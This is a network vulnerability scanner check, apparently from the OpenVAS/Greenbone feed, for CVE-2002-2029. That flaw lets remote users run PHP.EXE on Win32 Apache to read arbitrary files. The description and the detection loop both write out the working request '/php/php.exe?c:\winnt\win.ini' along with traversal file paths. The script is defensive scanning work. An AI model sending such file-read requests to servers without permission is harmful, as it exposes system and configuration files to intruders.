PHP.EXE / Apache HTTP Server Win32 Arbitrary File Reading Vulnerability - Active Check

# SPDX-FileCopyrightText: 2002 Matt Moore
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later

CPE = "cpe:/a:php:php";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10839");
  script_version("2025-04-30T05:39:51+0000");
  script_tag(name:"last_modification", value:"2025-04-30 05:39:51 +0000 (Wed, 30 Apr 2025)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2002-2029");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("PHP.EXE / Apache HTTP Server Win32 Arbitrary File Reading Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2002 Matt Moore");
  script_family("Web application abuses");
  script_dependencies("gb_php_http_detect.nasl", "gb_apache_http_server_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("php/http/detected", "apache/http_server/http/detected", "Host/runs_windows");

  script_xref(name:"URL", value:"http://www.securitytracker.com/alerts/2002/Jan/1003104.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/3786");

  script_tag(name:"summary", value:"A configuration vulnerability exists for PHP.EXE cgi
  running on Apache HTTP Server for Win32 platforms.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"It is reported that the installation text recommends
  configuration options in httpd.conf that create a security vulnerability, allowing
  arbitrary files to be read from the host running PHP. Remote users can directly execute
  the PHP binary:

  /php/php.exe?c:\winnt\win.ini");

  script_tag(name:"solution", value:"Obtain the latest version of PHP.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("traversal_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

files = traversal_files( "windows" );

foreach pattern( keys( files ) ) {

  file = files[pattern];
  file = str_replace( find:"/", string:file, replace:"\" );
  url  = "/php/php.exe?c:\" + file;

  if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );